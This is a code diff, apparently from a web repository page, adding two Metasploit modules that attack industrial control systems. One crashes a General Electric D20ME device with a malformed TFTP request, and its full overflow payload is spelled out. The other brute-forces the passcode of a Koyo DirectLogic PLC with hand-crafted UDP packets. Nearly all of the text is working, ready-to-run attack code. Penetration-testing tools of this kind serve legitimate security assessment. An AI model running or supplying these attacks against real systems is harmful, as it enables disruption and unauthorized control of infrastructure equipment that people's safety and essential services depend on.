+require 'rex/proto/tftp'
+
+class Metasploit3 < Msf::Auxiliary
+ include Rex::Ui::Text
+ include Rex::Proto::TFTP
+ include Msf::Exploit::Remote::Udp
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'General Electric D20ME TFTP Server Buffer Overflow DoS',
+ 'Description' => %q{
+ By sending a malformed TFTP request to the GE D20ME, it is possible to crash the
+ device.
+
+ This module is based on the original 'd20ftpbo.rb' Basecamp module from
+ DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ 'Version' => '$Revision$',
+ 'DisclosureDate' => 'Jan 19 2012',
+ ))
+
+ register_options(
+ [
+ OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
+ OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
+ Opt::RPORT(69)
+ ], self.class)
+ end
+
+ def run
+ udp_sock = Rex::Socket::Udp.create(
+ 'LocalHost' => datastore['LHOST'] || nil,
+ 'PeerHost' => rhost,
+ 'PeerPort' => rport,
+ 'Context' => {'Msf' => framework, 'MsfExploit' => self}
+ ) # No need to rescue, it's a UDP faux-socket
+ udp_sock.sendto(payload, rhost, rport)
+ recv = udp_sock.timed_read(65535, recv_timeout)
+ if recv and recv.size > 0
+ udp_sock.sendto(payload, rhost, rport)
+ else
+ print_error "#{rhost}:#{rport} - TFTP - No response from the target, aborting."
+ return
+ end
+ print_good "#{rhost}:#{rport} - TFTP - DoS complete, the D20 should fault after a timeout."
+ end
+
+ def recv_timeout
+ if datastore['RECV_TIMEOUT'].to_i.zero?
+ 3
+ else
+ datastore['RECV_TIMEOUT'].to_i.abs
+ end
+ end
+
+ def payload
+ "\x00\x01NVRAM\\D20.zlb\x00netascii" +
+ "\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
+ "\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
+ "\x80\x80\x80\x89\x80\x80\x80\x8A\x80\x80\x80\x8B\x80\x80\x80\x8C\x80\x80\x80\x8D" +
+ "\x80\x80\x80\x8E\x80\x80\x80\x8F\x80\x80\x80\x90\x80\x80\x80\x91\x80\x80\x80\x92" +
+ "\x80\x80\x80\x93\x80\x80\x80\x94\x80\x80\x80\x95\x80\x80\x80\x96\x80\x80\x80\x97" +
+ "\x80\x80\x80\x98\x80\x80\x80\x99\x80\x80\x80\x9A\x80\x80\x80\x9B\x80\x80\x80\x9C" +
+ "\x80\x80\x80\x9D\x80\x80\x80\x9E\x80\x80\x80\x9F\x80\x80\x80\xA0\x80\x80\x80\xA1" +
+ "\x80\x80\x80\xA2\x80\x80\x80\xA3\x80\x80\x80\xA4\x80\x80\x80\xA5\x80\x80\x80\xA6" +
+ "\x80\x80\x80\xA7\x80\x80\x80\xA8\x80\x80\x80\x00\x80\x80\x80\xAA\x80\x80\x80\xAB" +
+ "\x80\x80\x80\xAC\x80\x80\x80\xAD\x80\x80\x80\xAE\x80\x80\x80\xAF\x80\x80\x80\xB0" +
+ "\x80\x80\x80\xB1\x80\x80\x80\xB2\x80\x80\x80\xB3\x80\x80\x80\xB4\x80\x80\x80\xB5" +
+ "\x80\x80\x80\xB6\x80\x80\x80\xB7\x80\x80\x80\xB8\x80\x80\x80\xB9\x80\x80\x80\xBA" +
+ "\x80\x80\x80\xBB\x80\x80\x80\xBC\x80\x80\x80\xBD\x80\x80\x80\xBE\x80\x80\x80\xBF" +
+ "\x80\x80\x80\xC0\x80\x80\x80\xC1\x80\x80\x80\xC2\x80\x80\x80\xC3\x80\x80\x80\xC4" +
+ "\x80\x80\x80\xC5\x80\x80\x80\xC6\x80\x80\x80\xC7\x80\x80\x80\xC8\x80\x80\x80\xC9" +
+ "\x80\x80\x80\xCA\x80\x80\x80\xCB\x80\x80\x80\xCC\x80\x80\x80\xCD\x80\x80\x80\xCE" +
+ "\x80\x80\x80\xCF\x80\x80\x80\xD0\x80\x80\x80\xD1\x80\x80\x80\xD2\x80\x80\x80\xD3" +
+ "\x80\x80\x80\xD4\x80\x80\x80\xD5\x80\x80\x80\xD6\x80\x80\x80\xD7\x80\x80\x80\xD8" +
+ "\x80\x80\x80\xD9\x80\x80\x80\xDA\x80\x80\x80\xDB\x80\x80\x80\xDC\x80\x80\x80\xDD" +
+ "\x80\x80\x80\xDE\x80\x80\x80\x00\x00\x00\x80\x00\x00\x01\x80\xE1\x80\x80\x80\xE2" +
+ "\x80\x80\x80\xE3\x80\x80\x80\xE4\x80\x80\x80\xE5\x80\x80\x80\xE6\x80\x80\x80\xE7" +
+ "\x80\x80\x80\xE8\x80\x80\x80\xE9\x80\x80\x80\xEA\x80\x80\x80\xEB\x80\x80\x80\xEC" +
+ "\x80\x80\x00\x80\x00\x00\x00\x7F\xFF\xBC\x80\xEF\x80\x80\x80\xF0\x80\x80\x80\xF1" +
+ "\x80\x80\x80\xF2\x80\x80\x80\xF3\x80\x80\x80\xF4\x80\x80\x80\xF5\x80\x80\x80\xF6" +
+ "\x80\x80\x80\xF7\x80\x80\x80\xF8\x80\x80\x80\xF9\x80\x80\x80\xFA\x80\x80\x80\xFB" +
+ "\x80\x80\x80\xFC\x80\x80\x80\xFD\x80\x80\x80\xFE\x80\x80\x81\x80\x80\x80\x81\x81" +
+ "\x80\x80\x81\x82\x80\x80\x81\x83\x80\x80\x81\x84\x80\x80\x81\x85\x80\x80\x81\x86" +
+ "\x80\x80\x81\x87\x80\x80\x81\x88\x80\x80\x81\x89\x80\x80\x81\x8A\x80\x80\x81\x8B" +
+ "\x80\x80\x81\x8C\x80\x80\x81\x8D\x80\x80\x81\x8E\x80\x80\x81\x8F\x80\x80\x81\x90" +
+ "\x80\x80\x81\x91\x80\x80\x81\x92\x80\x80\x81\x93\x80\x80\x81\x94\x80\x80\x81\x95" +
+ "\x80\x80\x81\x96\x80\x80\x81\x97\x80\x80\x81\x98\x80\x80\x81\x99\x80\x80\x81\x9A" +
+ "\x80\x80\x81\x9B\x80\x80\x81\x9C\x80\x80\x81\x9D\x80\x80\x81\x9E\x80\x80\x81\x9F" +
+ "\x80\x80\x81\xA0\x80\x80\x81\xA1\x80\x80\x81\xA2\x80\x80\x81\xA3\x80\x80\x81\xA4" +
+ "\x80\x80\x81\xA5\x80\x80\x81\xA6\x80\x80\x81\xA7\x80\x80\x81\xA8\x80\x80\x81\xA9" +
+ "\x80\x80\x81\xAA\x80\x80\x81\xAB\x80\x80\x81\xAC\x80\x80\x81\xAD\x80\x80\x81\xAE" +
+ "\x80\x80\x81\xAF\x80\x80\x81\xB0\x80\x80\x81\xB1\x80\x80\x81\xB2\x80\x80\x81\xB3" +
+ "\x80\x80\x81\xB4\x80\x80\x81\xB5\x80\x80\x81\xB6\x80\x80\x81\xB7\x80\x80\x81\xB8" +
+ "\x80\x80\x81\xB9\x80\x80\x81\xBA\x80\x80\x81\xBB\x80\x80\x81\xBC\x80\x80\x81\xBD" +
+ "\x80\x80\x81\xBE\x80\x80\x81\xBF\x80\x80\x81\xC0\x80\x80\x81\xC1\x80\x80\x81\xC2" +
+ "\x80\x80\x81\xC3\x80\x80\x81\xC4\x80\x80\x81\xC5\x80\x80\x81\xC6\x80\x80\x81\xC7" +
+ "\x80\x80\x81\xC8\x80\x80\x81\xC9\x80\x80\x81\xCA\x80\x80\x81\xCB\x80\x80\x81\xCC" +
+ "\x80\x80\x81\xCD\x80\x80\x81\xCE\x80\x80\x81\xCF\x80\x80\x81\xD0\x80\x80\x81\xD1" +
+ "\x80\x80\x81\xD2\x80\x80\x81\xD3\x80\x80\x81\xD4\x80\x80\x81\xD5\x80\x80\x81\xD6" +
+ "\x80\x80\x81\xD7\x80\x80\x81\xD8\x80\x80\x81\xD9\x80\x80\x81\xDA\x80\x80\x81\xDB" +
+ "\x80\x80\x81\xDC\x80\x80\x81\xDD\x80\x80\x81\xDE\x80\x80\x81\xDF\x80\x80\x81\xE0" +
+ "\x80\x80\x81\xE1\x80\x80\x81\xE2\x80\x80\x81\xE3\x80\x80\x81\xE4\x80\x80\x81\xE5" +
+ "\x80\x80\x81\xE6\x80\x80\x81\xE7\x80\x80\x81\xE8\x80\x80\x81\xE9\x80\x80\x81\xEA" +
+ "\x80\x80\x81\xEB\x80\x80\x81\xEC\x80\x80\x81\xED\x80\x80\x81\xEE\x80\x80\x81\xEF" +
+ "\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
+ "\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
+ "\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
+ "\x80\x80\x82\x80\x80\x80\x82\x81"
+ end
+
+end
View
188 modules/auxiliary/scanner/scada/koyo_login.rb
@@ -0,0 +1,188 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+
+# msfdev is going to want a bunch of other stuff for style/compat but this works
+# TODO: Make into a real AuthBrute module, although the password pattern is fixed
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Udp
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ This module attempts to authenticate to
+ a locked Koyo DirectLogic PLC. The PLC uses a restrictive
+ passcode, which can be A0000000 through A9999999.
+
+ This module is based on the original 'koyobrute.rb' Basecamp module from
+ DigitalBond.
+ },
+ 'Author' =>
+ [
+ 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
+ 'todb' # Metasploit fixups
+ ],
+ 'DisclosureDate' => 'Jan 19 2012',
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
+ ],
+ )
+
+ register_options(
+ [
+ OptAddress.new('LHOST', [false, "The local IP address to bind to"]),
+ OptInt.new('RECV_TIMEOUT', [false, "Time (in seconds) to wait between packets", 3]),
+ Opt::RPORT(28784)
+ ], self.class)
+
+ @CCITT_16 = [
+ 0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50A5, 0x60C6, 0x70E7,
+ 0x8108, 0x9129, 0xA14A, 0xB16B, 0xC18C, 0xD1AD, 0xE1CE, 0xF1EF,
+ 0x1231, 0x0210, 0x3273, 0x2252, 0x52B5, 0x4294, 0x72F7, 0x62D6,
+ 0x9339, 0x8318, 0xB37B, 0xA35A, 0xD3BD, 0xC39C, 0xF3FF, 0xE3DE,
+ 0x2462, 0x3443, 0x0420, 0x1401, 0x64E6, 0x74C7, 0x44A4, 0x5485,
+ 0xA56A, 0xB54B, 0x8528, 0x9509, 0xE5EE, 0xF5CF, 0xC5AC, 0xD58D,
+ 0x3653, 0x2672, 0x1611, 0x0630, 0x76D7, 0x66F6, 0x5695, 0x46B4,
+ 0xB75B, 0xA77A, 0x9719, 0x8738, 0xF7DF, 0xE7FE, 0xD79D, 0xC7BC,
+ 0x48C4, 0x58E5, 0x6886, 0x78A7, 0x0840, 0x1861, 0x2802, 0x3823,
+ 0xC9CC, 0xD9ED, 0xE98E, 0xF9AF, 0x8948, 0x9969, 0xA90A, 0xB92B,
+ 0x5AF5, 0x4AD4, 0x7AB7, 0x6A96, 0x1A71, 0x0A50, 0x3A33, 0x2A12,
+ 0xDBFD, 0xCBDC, 0xFBBF, 0xEB9E, 0x9B79, 0x8B58, 0xBB3B, 0xAB1A,
+ 0x6CA6, 0x7C87, 0x4CE4, 0x5CC5, 0x2C22, 0x3C03, 0x0C60, 0x1C41,
+ 0xEDAE, 0xFD8F, 0xCDEC, 0xDDCD, 0xAD2A, 0xBD0B, 0x8D68, 0x9D49,
+ 0x7E97, 0x6EB6, 0x5ED5, 0x4EF4, 0x3E13, 0x2E32, 0x1E51, 0x0E70,
+ 0xFF9F, 0xEFBE, 0xDFDD, 0xCFFC, 0xBF1B, 0xAF3A, 0x9F59, 0x8F78,
+ 0x9188, 0x81A9, 0xB1CA, 0xA1EB, 0xD10C, 0xC12D, 0xF14E, 0xE16F,
+ 0x1080, 0x00A1, 0x30C2, 0x20E3, 0x5004, 0x4025, 0x7046, 0x6067,
+ 0x83B9, 0x9398, 0xA3FB, 0xB3DA, 0xC33D, 0xD31C, 0xE37F, 0xF35E,
+ 0x02B1, 0x1290, 0x22F3, 0x32D2, 0x4235, 0x5214, 0x6277, 0x7256,
+ 0xB5EA, 0xA5CB, 0x95A8, 0x8589, 0xF56E, 0xE54F, 0xD52C, 0xC50D,
+ 0x34E2, 0x24C3, 0x14A0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
+ 0xA7DB, 0xB7FA, 0x8799, 0x97B8, 0xE75F, 0xF77E, 0xC71D, 0xD73C,
+ 0x26D3, 0x36F2, 0x0691, 0x16B0, 0x6657, 0x7676, 0x4615, 0x5634,
+ 0xD94C, 0xC96D, 0xF90E, 0xE92F, 0x99C8, 0x89E9, 0xB98A, 0xA9AB,
+ 0x5844, 0x4865, 0x7806, 0x6827, 0x18C0, 0x08E1, 0x3882, 0x28A3,
+ 0xCB7D, 0xDB5C, 0xEB3F, 0xFB1E, 0x8BF9, 0x9BD8, 0xABBB, 0xBB9A,
+ 0x4A75, 0x5A54, 0x6A37, 0x7A16, 0x0AF1, 0x1AD0, 0x2AB3, 0x3A92,
+ 0xFD2E, 0xED0F, 0xDD6C, 0xCD4D, 0xBDAA, 0xAD8B, 0x9DE8, 0x8DC9,
+ 0x7C26, 0x6C07, 0x5C64, 0x4C45, 0x3CA2, 0x2C83, 0x1CE0, 0x0CC1,
+ 0xEF1F, 0xFF3E, 0xCF5D, 0xDF7C, 0xAF9B, 0xBFBA, 0x8FD9, 0x9FF8,
+ 0x6E17, 0x7E36, 0x4E55, 0x5E74, 0x2E93, 0x3EB2, 0x0ED1, 0x1EF0
+ ]
+ end
+
+ def run_host(ip)
+ @udp_sock ||= {}
+ @udp_sock[ip] = Rex::Socket::Udp.create(
+ 'LocalHost' => datastore['LHOST'] || nil,
+ 'PeerHost' => ip,
+ 'PeerPort' => rport,
+ 'Context' => {'Msf' => framework, 'MsfExploit' => self}
+ )
+ print_status("#{ip}:#{rport} - KOYO - Checking the controller for locked memory...")
+ if unlock_check(ip)
+ print_good("#{ip}:#{rport} - Unlocked!")
+ return
+ else
+ print_status("#{ip}:#{rport} - KOYO - Controller locked; commencing bruteforce...")
+ end
+
+ # TODO: Consider sort_by {rand} in order to avoid sequential guessing
+ # or something fancier
+ (0..9999999).each do |i|
+
+ passcode = 'A' + i.to_s.rjust(7,'0')
+ vprint_status("#{ip}:#{rport} - KOYO - Trying #{passcode}")
+
+ bytes = passcode.scan(/../).map { |x| x.to_i(16) }
+ passstr = bytes.pack("c*")
+ print_debug passstr.inspect
+
+ res = try_auth(ip, passstr)
+ if res
+ print_good "#{ip}:#{rport} - KOYO - Found passcode: #{passcode}"
+ report_auth_info(
+ :host => ip,
+ :port => rport,
+ :proto => 'udp',
+ :user => '',
+ :pass => passcode, # NOTE: Human readable
+ :active => true
+ )
+ break
+ end
+ end
+ end
+
+ def crc16(buf, crc=0)
+ buf.each_byte{|x| crc = ((crc<<8) ^ @CCITT_16[(crc>>8) ^ x])&0xffff}
+ [crc].pack("S")
+ end
+
+ def unlock_check(ip)
+ checkpacket = "HAP\xe6\x01\x6e\x68\x0d\x00\x1a\x00\x09\x00\x01\x50\x01\x02\x00\x01\x00\x17\x52"
+ @udp_sock[ip].sendto(checkpacket, ip, datastore['RPORT'].to_i)
+
+ recvpacks = 0
+ # TODO: Since the packet count is critical, consider using Capture instead,
+ # but that requires root which is mildly annoying and not cross-platform.
+ # IOW, not a hugely good way to solve this via packet counting, given the nature
+ # of UDP.
+ #
+ # Another way to speed things up is to use fancy threading, but that's for another
+ # day.
+ while (r = @udp_sock[ip].recvfrom(65535, 0.1) and recvpacks < 2)
+ res = r[0]
+ if res.length == 269 # auth reply packet
+ if res[17] == "\x00" and res[19] == "\xD2" # Magic bytes
+ return true
+ end
+ end
+ recvpacks += 1
+ end
+ return false
+ end
+
+ def try_auth(ip, passstr)
+ data = "\x1a\x00\x0d\x00\x01\x51\x01\x19\x02\x04\x00" + passstr + "\x17\xaf"
+ header = "HAP"
+ header += "\xe5\x01" # random session ID
+ header += crc16(data)
+ header += [data.length].pack("S")
+ authpacket = header + data
+
+ @udp_sock[ip].sendto(authpacket, ip, datastore['RPORT'].to_i, 0)
+
+ 2.times { @udp_sock[ip].get(recv_timeout) } # talk to the hand
+
+ status = unlock_check(ip)
+
+ return status
+ end
+
+ def recv_timeout
+ if datastore['RECV_TIMEOUT'].to_i.zero?
+ 3
+ else
+ datastore['RECV_TIMEOUT'].to_i.abs
+ end
+ end
+
+ def cleanup
+ @udp_sock.each_pair { |ip,sock| sock.shutdown rescue nil}
+ end
+
+end
Please sign in to comment.
Something went wrong with that request. Please try again.